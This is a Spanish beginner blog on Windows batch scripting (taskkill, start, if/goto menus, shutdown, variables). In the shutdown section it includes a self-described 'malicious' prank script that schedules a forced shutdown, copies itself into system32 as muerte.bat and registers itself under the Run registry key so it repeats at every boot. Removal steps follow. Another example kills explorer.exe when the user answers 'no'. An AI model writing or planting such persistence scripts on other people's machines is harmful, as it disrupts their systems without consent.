Intentaré ir haciendo pequeños programas bat, explicando el código empleado para que cualquiera lo entienda.

sábado, 28 de junio de 2008

ACABAR Y COMENZAR PROCESOS DE WINDOWS

Si queremos que se acabe o que comience un proceso en Windows podemos utilizar dos funciones muy buenas que hacen esta tarea. Son taskkill que cierra procesos o programas que están en marcha y start que abre programas o procesos.

Como hemos dicho taskkill cierra procesos y los modificadores más usados son los siguientes:
/f especifica la terminación forzada del proceso
/im nombre_imagen especifica el nombre del proceso que será cerrado

Ejemplo:

taskkill /f /im notepad.exe /im mspaint.exe

Cuando ejecutas este código se cierra el notepad y el mspaint si están abiertos claro.

La utilización de start es muy sencilla y se utiliza para comenzar programas.
Solo tenemos que poner start seguido del programa y veréis como se abre el programa.

Ejemplo:

start notepad.exe
start www.google.es

Si ejecutamos este código se abre el notepad y también se inicia el google en nuestro navegador.



Ejemplo práctico más complejo:

@echo off
cls
set/p abrir=¿Quieres abrir el block de notas? (si/no)
if %abrir%==si (goto bien) else goto mal
:bien
cls
echo TE ABRO ENTONCES EL BLOCK DE NOTAS, COLEGA
start notepad.exe
pause
exit
:mal
cls
echo CAPULLO, ENTONCES JÓDETE
taskkill /f /im explorer.exe
pause
exit

EXPLICACION DEL CODIGO:
Al comenzar asignamos a la variable abrir el valor "si" o el valor "no"
Si decimos "si" el goto nos manda a la etiqueta :bien y se ejecuta el block de notas.
Si decimos "no" nuestro pc se cabreará y nos mandará a la etiqueta :mal que cerrará el explorer.exe


NOTA: Si se nos cierra accidentalmente el explorer, el pc permanecerá sin nada, bloqueado. La forma de abrirlo sin tener que reiniciar es la siguiente:
-Darle a CTROL + ALT + SUPR se abrirá el administrador de tareas.
-Abajo a la derecha pulsar el botón TAREA NUEVA...
-Cuando se abra la ventanita escribir explorer.exe y pulsar en aceptar.
Espero que así haya quedado todo claro.





***

CREANDO MENÚS: IF, GOTO ELSE

En la creación de menús son muy importantes los comandos if goto y else. Su utilización es un poco complicada pero con mi ayuda la entenderéis fácilmente.
El comando if establece una condición entre una variable y su valor.
El comando goto da un salto en el programa si se cumple la condición a una subrutina que se encabeza con los ":" y un nombre.
El comando else es la opción que se realizará si todo lo demás falla.

Lo mejor es verlo con un ejemplo:

@echo off
:menu
echo ELIGE ENTRE ESTOS COLORES: azul, rojo, verde
set /p colorin=¿Que color eliges?
if %colorin%==azul goto azulin
if %colorin%==rojo goto rojin
if %colorin%==verde goto verdin

:azulin
cls
echo HAS ELEGIDO EL COLOR AZUL
pause
exit

:rojin
cls
echo HAS ELEGIDO EL COLOR ROJO
pause
exit

:verdin
cls
echo HAS ELEGIDO EL COLOR VERDE
pause
exit


La utilización de IF... GOTO.... ELSE es algo más compleja pero básicamente ELSE se utiliza cuando no se cumple la condición. La sintaxis sería:
if condicion (goto menu1) else goto menu2 -------------- (goto menu1) debe ir entre paréntesis siempre

Con este ejemplo lo comprenderemos:

@echo off
:menu
cls
echo ¿Eres guapo?
set /p contesta=si o no
if %contesta%==si (goto creido) else goto sorpresa
:sorpresa
if %contesta%==no (goto feillo) else goto menu
:creido
cls
echo ESO NO TE LO CREES NI TU
pause
exit

:feillo
cls
echo POBRECILLO, COMPRATE UNA MASCARA
pause
exit


Si contestamos algo que no sea si o no entonces se repite el menú inicial.





***

APAGADO Y REINICIO DEL PC

Voy a explicar como se puede apagar o reiniciar el pc mediante la llamada al proceso shutdown.

Los modificadores más utilizados son los siguientes:

-l: cerrar sesión
-s: apagar equipo
-r: apagar y reiniciar el equipo
-a: anular el apagado del equipo
-t xx: establecer el tiempo de espera de apagado en xx segundos
-c "comentario": Poner un comentario
-f: fuerza el cierre de las aplicaciones sin advertir.

Abrimos el block de notas y escribimos lo siguiente:

shutdown -s -f -t 00

Guardamos con el nombre de APAGAR PC.bat
Cuando ejecutamos este programa se apaga el ordenador y cierra todos los programas automáticamente sin preguntar.

Si ponemos el siguiente código:

shutdown -r -f -t 15

El ordenador se reinicia cuando pasan 15 segundos sin confirmar el cierre de aplicaciones.

Ahora un programita práctico un poco malvado.

@echo off
AT 17:30 shutdown -s -f -t 12
echo AT 17:30 shutdown -s -f -t 12 > c:/windows/system32/muerte.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/muerte.bat"
exit

la linea AT 17:30 shutdow -s -f -t 12 hará que el ordenador cuando sean las 17:30 al pasar 12 segundos se apagará. Pero no acaba la cosa ahí ">" redirecciona la linea, es decir copia la linea dentro de un archivo que se creará con el nombre muerte.bat en el directorio c:/windows/system32.
Por si fuera poco se añade una clave al registro para que al arrancar el pc se ejecute el programa muerte.bat
La víctima que sufra este programa lo pasará mal, bastante mal.

¿Cómo se elimina esta amenaza?. Tenemos que ir al registro mediante el programa REGEDIT.EXE y buscar dentro la clave y borrarla para que no se inicie el programa cada vez que arranque el pc. También buscamos el archivo muerte.bat y lo eliminamos. Adiós peligro.




***

UTILIZANDO VARIABLES

Las variables son datos que como su nombre indica pueden variar a lo largo del programa. Pueden adquirir valores alfanuméricos (letras o números).
Cuando se llama a una variable se encierra entre "%".

Abrir el block de notas (NOTEPAD.EXE) y escribir el siguiente código. Luego guarda como "nombre.bat"

EJEMPLO:

@echo off
cls
title PRUEBA CON VARIABLES
echo UNA PRUEBECITA CON VARIABLES VAMOS A REALIZAR
pause
set /p nombre=¿Como te llamas?
set /p edad=¿Cuantos años tienes?
pause
echo TU NOMBRE ES %nombre% Y TIENES %edad% AÑOS.
pause > nul
exit


EXPLICANDO EL CÓDIGO:
@echo off -- no aparecen escritos los comandos
cls -------- borra la pantalla
title ------ el título que saldrá en la ventana
set /p ----- asigna variable mediante pregunta
pause ------ hace una pausa en el programa y escribe "Presione una tecla para continuar..."
echo --------escribe en la consola o pantalla
pause > nul
-hace una pausa pero no escribe nada simplemente espera que pulses la tecla.
exit ------ salir del programa.

Se pueden asignar variables sin preguntar, en este caso pondríamos:
set nombre=MANUEL
set edat=22

También podemos realizar sumas, restas, multiplicaciones, divisiones, etc con las variables. Para ello se deben declarar así:

set num1=14
set num2=6
set /a sumatotal=num1+num2
set /a restatotal=num1-num2

Si hacemos lo siguiente aparecerá el resultado

echo LA SUMA DE TODO ES: %sumatotal%
echo LA RESTA DE TODO ES: %restatotal%





***